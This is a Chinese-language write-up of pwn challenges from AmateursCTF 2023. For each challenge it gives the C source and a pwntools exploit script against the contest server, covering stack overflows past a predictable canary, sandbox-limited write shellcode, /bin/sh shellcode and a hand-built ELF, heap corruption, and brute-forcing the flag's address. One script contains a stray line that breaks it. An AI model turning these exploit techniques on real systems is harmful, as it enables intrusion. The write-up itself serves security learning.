2023-AmateursCTF-WriteUps
https://ctf.amateurs.team/
1.pwn-rntk
- 代码恢复
- 程序自己生产里一个类似 canary 的东西,溢出检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <time.h>
long long int global_canary=NULL;
int win()
{
char s[72]; // [rsp+0h] [rbp-50h] BYREF
FILE *stream; // [rsp+48h] [rbp-8h]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("flag file not found");
exit(1);
}
fgets(s, 64, stream);
return puts(s);
}
int random_guess()
{
char nptr[40]; // [rsp+0h] [rbp-30h] BYREF
int v2; // [rsp+28h] [rbp-8h]
int v3; // [rsp+2Ch] [rbp-4h]
printf("Enter in a number as your guess: ");
v3 = global_canary;
gets(nptr);
v2 = strtol(nptr, 0LL, 10);
if ( v3 != global_canary ) // 溢出检测
{
puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
exit(1);
}
if ( v2 == rand() )
return puts("Congrats you guessed correctly!");
else
return puts("Better luck next time");
}
int generate_canary()
{
unsigned int v0; // eax
int result; // eax
v0 = time(0LL);
srand(v0);
result = rand();
global_canary = result;
return result;
}
int main(){
unsigned int v3; // eax
int v4; // [rsp+Ch] [rbp-4h] BYREF
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
generate_canary();
while ( 1 )
{
puts("Please select one of the following actions");
puts("1) Generate random number");
puts("2) Try to guess a random number");
puts("3) Exit");
v4 = 0;
scanf("%d", &v4);
getchar();
if ( v4 == 3 )
break;
if ( v4 <= 3 )
{
if ( v4 == 1 )
{
v3 = rand();
printf("%d\n", v3);
}
else if ( v4 == 2 )
{
random_guess();
}
}
}
exit(0);
}
// gcc main.c -fno-stack-protector
- 使用time 预测计算 伪随机,进行预测canary的值然后覆盖 return
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
io = process(binary)
io = remote('amt.rs',31175)
win = 0x04012BA
from ctypes import *
import time
cli = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
cli.srand(int(time.time()))
v3 = cli.rand()
print(v3)
ru('3) Exit\n')
#gdb.attach(io)
sl('2')
ru(': ')
pay = (44) * b'A' + p32(v3) + p64(0) + p64(win)
sl(pay)
io.interactive()
# amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}
2.pwn-permissions
-
源码
- 沙箱 只允许 read write exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <seccomp.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
void setup_seccomp () {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
if (ret) {
errx(1, "seccomp failed");
}
}
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(6);
int fd = open("flag.txt", O_RDONLY);
if (0 > fd)
errx(1, "failed to open flag.txt");
char * flag = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if (flag == MAP_FAILED)
errx(1, "failed to mmap memory");
if (0 > read(fd, flag, 0x1000))
errx(1, "failed to read flag");
close(fd);
// make flag write-only
if (0 > mprotect(flag, 0x1000, PROT_WRITE))
errx(1, "failed to change mmap permissions");
char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED)
errx(1, "failed to mmap shellcode buffer");
printf("> ");
if (0 > read(0, code, 0x100000))
errx(1, "failed to read shellcode");
setup_seccomp();
((void(*)(char *))code)(flag);
exit(0);
}
- 程序沙箱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=[06:06:12]-➤ seccomp-tools dump ./chal
> 1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
io = process(binary)
io = remote('amt.rs',31174)
pay = asm('''
xchg rax,rsi
push 1
pop rax
push 1
pop rdi
push 50
pop rdx
syscall
''')
#gdb.attach(io,'b *$rebase(0x01553)')
sl(pay)
io.interactive()
# amateursCTF{exec_1mpl13s_r34d_8751fda0}
- SYS_write_ 输出flag
3.pwn-hex-converter-1
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
setbuf(stderr, NULL);
int i = 0;
char name[16];
printf("input text to convert to hex: \n");
gets(name);
char flag[64];
fgets(flag, 64, fopen("flag.txt", "r"));
// TODO: PRINT FLAG for cool people ... but maybe later
while (i < 16)
{
// the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
printf("%02X", (unsigned int)(name[i] & 0xFF));
i++;
}
printf("\n");
}
利用溢出覆盖 v7 的值为负数,然后就可以printf flag_data 了
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
l
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
io = process(binary)
io = remote('amt.rs',31630)
ru('input text to convert to hex: \n')
pay = b'A' * (28) + p64(0x100000000 + (-64))
#gdb.attach(io)
sl(pay)
x = io.recvline()[:-1]
print(bytes.fromhex(x.decode()))
io.interactive()
4.pwn-hex-converter-2
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
setbuf(stderr, NULL);
int i = 0;
char name[16];
printf("input text to convert to hex: \n");
gets(name);
char flag[64];
fgets(flag, 64, fopen("flag.txt", "r"));
// TODO: PRINT FLAG for cool people ... but maybe later
while (1)
{
// the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
printf("%02X", (unsigned int)(name[i] & 0xFF));
// exit out of the loop
if (i <= 0)
{
printf("\n");
return 0;
}
i--;
}
}
IDA 打开
如果把 v7 覆盖成 负数,确实可以 泄露 flag,但是只能泄露一个,我们可以写个循环来一个一个字符泄露flag
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
flag = ''
for i in range(140):
#io = process(binary)
io = remote('amt.rs',31631)
ru('input text to convert to hex: \n')
pay = b'A' * (28) + p64(0x100000000 + (-64)+i)
sl(pay)
flag += chr(int(io.recv(2),16))
print(flag)
io.close()
#x = io.recvline()[:-1]
#print(bytes.fromhex(x.decode()))
#io.interactive(
1
amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}
5.pwn-i-love-ffi
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
struct MmapArgs {
uint64_t * addr;
uint64_t length;
int protection;
int flags;
int fd;
uint64_t offset;
};
extern struct MmapArgs mmap_args();
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct MmapArgs args = mmap_args();
char * buf = mmap(args.addr, args.length, args.protection, MAP_PRIVATE | MAP_ANON, args.fd, args.offset);
if (buf < 0) {
perror("failed to mmap");
}
read(0, buf, 0x1000);
printf("> ");
int op;
if (scanf("%d", &op) == 1) {
switch (op) {
case 0:
((void (*)(void))buf)();
break;
case 1:
puts(buf);
break;
}
}
}
DIA 打开 自定义libc 函数 mmap_args
自定义libc
看下实际给谁赋的值
1
2
3
4
5
6
addr: 0x0 # rdi
len: 0x190 # rsi
prot: 0x7 # rdx
flags: 0x21 # r10
fd: 0xffffffff # r8
offset: 0x0 # r9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
io = process(binary)
#io = remote()
addr = 0x30000
Len = 0x1000
fd = 0
offset = 0
prot = 7
sla(">",str(addr))
sla(">",str(Len))
sla(">",str(fd))
sla(">",'0')
sla(">",str(offset))
gdb.attach(io)
sla(">",str(prot))
io.interactive()
mmap 申请的 0x3000
然后下面就是读一段shellcode,直接发送过去,然后 去执行
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
io = process(binary)
io = remote('amt.rs',31172)
addr = 0x30000
Len = 0x1000
fd = 0
offset = 0
prot = 7
sla(">",str(addr))
sla(">",str(Len))
sla(">",str(fd))
sla(">",'0')
sla(">",str(offset))
sla(">",str(prot))
shellcode = asm(shellcraft.sh())
sl(shellcode)
#gdb.attach(io)
sla(">",'0')
io.interactive()
# amateursCTF{1_l0v3_struct_p4dding}
6.pwn-ELFcrafting-v1
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+28h] [rbp-38h]
int v6; // [rsp+2Ch] [rbp-34h]
int v7; // [rsp+2Ch] [rbp-34h]
char buf[40]; // [rsp+30h] [rbp-30h] BYREF
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("I'm sure you all enjoy doing shellcode golf problems.");
puts("But have you ever tried ELF golfing?");
puts("Have fun!");
fd = memfd_create("golf", 0LL);
if ( fd < 0 )
{
perror("failed to execute fd = memfd_create(\"golf\", 0)");
exit(1);
}
v6 = read(0, buf, 0x20uLL);
if ( v6 < 0 )
{
perror("failed to execute ok = read(0, buffer, 32)");
exit(1);
}
printf("read %d bytes from stdin\n", v6);
v7 = write(fd, buf, v6);
if ( v7 < 0 )
{
perror("failed to execute ok = write(fd, buffer, ok)");
exit(1);
}
printf("wrote %d bytes to file\n", v7);
if ( fexecve(fd, argv, envp) < 0 )
{
perror("failed to execute fexecve(fd, argv, envp)");
exit(1);
}
return 0;
}
参考大佬wp
AmateurCTF '23 - Pwn - Elfcrafting-V1 (theflash2k.me)
amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}
7.pwn-ELFcrafting-v2
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+24h] [rbp-6Ch]
int v6; // [rsp+28h] [rbp-68h]
int v7; // [rsp+28h] [rbp-68h]
int s1; // [rsp+2Ch] [rbp-64h] BYREF
char buf[88]; // [rsp+30h] [rbp-60h] BYREF
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("I'm sure you all enjoy doing shellcode golf problems.");
puts("But have you ever tried ELF golfing?");
puts("Have fun!");
s1 = 1179403647; // ELF 文件头
fd = memfd_create("golf", 0LL);
if ( fd < 0 )
{
perror("failed to execute fd = memfd_create(\"golf\", 0)");
exit(1);
}
v6 = read(0, buf, 0x4FuLL);
if ( v6 < 0 )
{
perror("failed to execute ok = read(0, buffer, 79)");
exit(1);
}
printf("read %d bytes from stdin\n", v6);
if ( memcmp(&s1, buf, 4uLL) )
{
puts("not an ELF file :/");
exit(1);
}
v7 = write(fd, buf, v6);
if ( v7 < 0 )
{
perror("failed to execute ok = write(fd, buffer, ok)");
exit(1);
}
printf("wrote %d bytes to file\n", v7);
if ( fexecve(fd, (char *const *)argv, (char *const *)envp) < 0 )
{
perror("failed to execute fexecve(fd, argv, envp)");
exit(1);
}
return 0;
}
- 超级短小的 ELF 文件
BITS 32
org 0x00010000
db 0x7F, "ELF"
dd 1
dd 0
dd $$
dw 2
dw 3
dd _start
dd _start
dd 4
_cont:
mov dl, 0xff
int 0x80
mov ebx, eax
mov al, 3
jmp _end
dw 0x20
dw 1
_start:
mov al, 11
mov ebx, string_start
int 0x80
_end:
mov ecx, esp
int 0x80
xor ebx, ebx
mov al, 4
int 0x80
string_start:
db "/bin/sh"
string_len equ $ - string_start
filesize equ $ - $$
1
nasm -f bin -o Execve Execve.asm && chmod +x Execve && hexdump -C Execve
1
elf = "7f454c46010000000000000000000100020003002e0001002e00010004000000b2ffcd8089c3b003eb0d20000100b00bbb41000100cd8089e1cd8031dbb004cd802f62696e2f7368"
直接吧这个 bin 发送出去,
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#io = process('./chal')
io = remote('amt.rs', 31179)
io.recv()
with open('./shell', 'rb') as f:
buf = f.read()
io.sendline(buf + b'\x00')
io.sendline('cat flag.txt')
io.interactive()
1
amateursCTF{d1d_i_f0rg3t_t0_p4tch_32b1t_b1naries_t00!!!}
8.pwn-simple-heap-v1
可以修改一个值
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
io = process(binary)
io = remote('amt.rs',31176)
#gdb.attach(io,'b *$rebase(0x001600)')
def getchunk(size,data):
sla('size: ',str(size))
sla('data: ',data)
pay = 0x18 * "A"
ru('Welcome to the flag checker\n')
getchunk(len(pay),pay)
ru("I'll give you three chances to guess my flag.\n")
getchunk(len(pay),pay)
ru('index: ')
sl('-8')
ru('new character:')
sl('\x91')
pay = 0x80 * "A"
getchunk(len(pay),pay)
io.interactive()
我们来动态调试分析程序
-8 是我提前计算好的,我们先传进去,然后继续分析
ptr + (-8) 也就是我们 堆块ptr的size
修改之前的堆布局,我们等会给 这个 0x21 改成 大一点,只要可以 覆盖 下面的 tcachebins就可以了
执行完 *(ptr + v4) = v3;
后 的堆布局
执行完这个free后
后面先是申请一个堆块,然后check() 里面再次申请一个堆块
执行 getchunk()后, 此时 下面的tcachebins 已经被破坏,但是check()里的申请0x80仍然可以申请到
跟进去
执行后
也是申请到了这里
然后就是 open flag 把内容 放到这个堆块里
然后就可以
远程
flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}
9.pwn-perfect-sandbox
这是一个完美的沙盒,绝对没有办法泄露flag!
- 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <linux/seccomp.h>
#include <seccomp.h>
void setup_seccomp () {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_load(ctx);
if (ret) {
errx(1, "seccomp failed");
}
}
int main () {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char * tmp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
int urandom = open("/dev/urandom", O_RDONLY);
if (urandom < 0) {
errx(1, "open /dev/urandom failed");
}
read(urandom, tmp, 4);
close(urandom);
unsigned int offset = *(unsigned int *)tmp & ~0xFFF;
uint64_t addr = 0x1337000ULL + (uint64_t)offset;
char * flag = mmap((void *)addr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if (flag == MAP_FAILED) {
errx(1, "mapping flag failed");
}
int fd = open("flag.txt", O_RDONLY);
if (fd < 0) {
errx(1, "open flag.txt failed");
}
read(fd, flag, 128);
close(fd);
char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED) {
errx(1, "mmap failed");
}
char * stack = mmap((void *)0x13371337000, 0x4000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0);
if (stack == MAP_FAILED) {
errx(1, "failed to map stack");
}
printf("> ");
read(0, code, 0x100000);
setup_seccomp();
asm volatile(
".intel_syntax noprefix\n"
"mov rbx, 0x13371337\n"
"mov rcx, rbx\n"
"mov rdx, rbx\n"
"mov rdi, rbx\n"
"mov rsi, rbx\n"
"mov rsp, 0x13371337000\n"
"mov rbp, rbx\n"
"mov r8, rbx\n"
"mov r9, rbx\n"
"mov r10, rbx\n"
"mov r11, rbx\n"
"mov r12, rbx\n"
"mov r13, rbx\n"
"mov r14, rbx\n"
"mov r15, rbx\n"
"jmp rax\n"
".att_syntax prefix\n"
:
: [code] "rax" (code)
:
);
}
- 沙箱
由于程序已经open(flag)了 ,所以我们只要使用 read 读flag,然后再用 write输出出来就OK了
下面等会在 jmp rax 出打个断点
- 测试 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
libelf = ''
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
#elf = ELF(binary)
#libc = ELF(libelf)
io = process(binary)
#io = remote()
gdb.attach(io,'b *0x0401594')
pay = asm('''
nop
nop
nop
nop
''')
sl(pay)
io.interactive()
- 上面的啥也不是,接下来我们来详细分析一下这题
…..(分析了一下午)
扎心了,呜呜呜,在大佬眼了就是瞬秒题
-
真正的开始
- OK ,总的来说这题还是比较有意思的,
- 经过测试,这题最完美的解决方法就是爆破地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
#libelf = './libseccomp.so.2.5.3'
libelf = '/lib/x86_64-linux-gnu/libseccomp.so.2'
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
elf = ELF(binary)
libc = ELF(libelf)
io = process(binary)
#io = remote('amt.rs',31173)
gdb.attach(io,'b *0x0401594')
offset = 0x1000 * 41 # 主要是这个偏移地址,怎么得到的,先不用管,等会就知道了
# (在一台机器上偏移是固定的, 不同的机器又是不一样的)
#
sc = f"""
mov rsi,[{elf.got['seccomp_init']}]
sub rsi,{libc.sym['seccomp_init']}
add rsi,{offset}
mov rsi,[rsi]
and esi,0xFFFFF000
add rsi,0x1337000
mov rax, 1
mov rdi, 1
mov rdx, 0x100
syscall
"""
ru('> ')
sl(asm(sc))
io.interactive()
由于 NO PIE 所以我们直接从 got 里拿 libc上的地址
libc.sym['seccomp_init']
计算一个 libc 上的基地址, 我们就选取 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.4
的基地址,其实其他的基地址应该也可以
执行完这个后,rsi 里的地址指向的就是
就是 从 /dev/urandom
里读的随机数(我们先叫它key),通过这个随机数我们就可以 经过计算就得到用来存放flag的随机地址.
然后 用 key 通过这两个计算就可以得到 flag的地址了, and eax, 0FFFFF000h
add rax, 1337000h
然后就是 flag了
下面就是 SYS_write 输出flag就行了
- 最终通用 exploit
看重点,其实只要我们 以 0x1000 的倍数去才地址就可以了,最多最多就 0xff就可以得到 我们想要的地址.
也要根据实际的 libseccomp.so.2.5.3版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
binary = './chal'
#libelf = './libseccomp.so.2.5.3'
libelf = '/lib/x86_64-linux-gnu/libseccomp.so.2'
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
elf = ELF(binary)
libc = ELF(libelf)
for i in range(42,255):
io = process(binary)
io = remote('amt.rs',31173)
#gdb.attach(io,'b *0x0401594')
offset = 0x1000 * i
sc = f"""
mov rsi,[{elf.got['seccomp_init']}]
sub rsi,{libc.sym['seccomp_init']}
add rsi,{offset} # 重点
mov rsi,[rsi]
and esi,0xFFFFF000
add rsi,0x1337000
mov rax, 1
mov rdi, 1
mov rdx, 0x100
syscall
"""
ru('> ')
sl(asm(sc))
print(i)
try:
f = io.recv()
print(f)
if (b'flag' in f )or (b'FLAG' in f) or(b'ctf' in f) or (b'CTF' in f):
print(f)
break
except:
pass
io.close()
amateursCTF{3xc3pt10n_suppr3ss10n_ftw}
异常抑制ftw
- 参考
AmateursCTF 2023 Write-Up - U+E000 私用領域 (hatenablog.com)
RE writeups